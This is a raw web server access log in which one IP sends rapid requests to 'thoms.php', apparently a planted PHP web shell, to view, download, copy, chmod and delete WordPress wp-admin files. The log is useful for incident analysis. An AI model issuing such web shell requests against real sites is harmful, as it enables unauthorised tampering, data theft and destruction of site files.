45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/nav-menus.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=tools.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=link-manager.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=link-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=moderation.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=moderation.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=link-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=moderation.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /thoms.php?dl=options-media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=options-media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/options.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=options-media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-tag-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-tag-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/plugins.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-tag-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:14 -0400] "GET /thoms.php?chmod=update-core.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=update-core.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:14 -0400] "GET /thoms.php?chmod=custom-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=custom-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:14 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=export.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=export.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?chmod=update-core.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?chmod=custom-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22195 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=export.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:14 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-delete-site.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-delete-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-delete-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:14 -0400] "GET /thoms.php?chmod=ms-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ms-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:14 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fsite-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fsite-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:14 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=widgets-form-blocks.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=widgets-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=ms-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fsite-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22289 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=widgets-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:14 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcustom-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcustom-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:14 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/ms-themes.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22179 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcustom-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:14 -0400] "GET /thoms.php?del=ms-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ms-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?chmod=site-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=site-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fimages&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=ms-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=comment.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21950 "https://163.245.207.76:443/thoms.php?chmod=site-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?del=edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?del=edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?dl=link-parse-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=link-parse-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmedia-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmedia-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=privacy.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=link-parse-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22201 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmedia-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?dl=setup-config.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=setup-config.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/ms-sites.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=setup-config.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?chmod=site-health.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=site-health.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22250 "https://163.245.207.76:443/thoms.php?chmod=site-health.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:16 -0400] "GET /thoms.php?chmod=revision.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:16 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fupdate-core.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fupdate-core.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22295 "https://163.245.207.76:443/thoms.php?chmod=revision.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:16 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-permalink.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-permalink.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fupdate-core.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22206 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-permalink.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:16 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=plugin-editor.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=plugin-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=plugin-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:16 -0400] "GET /thoms.php?chmod=term.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=term.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:16 -0400] "GET /thoms.php?dl=upgrade.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=upgrade.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22201 "https://163.245.207.76:443/thoms.php?chmod=term.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:16 -0400] "GET /thoms.php?del=images&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=images&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=upgrade.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=images&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:16 -0400] "GET /thoms.php?del=contribute.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=contribute.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=contribute.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:16 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=media.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:16 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/theme-editor.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-sites.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
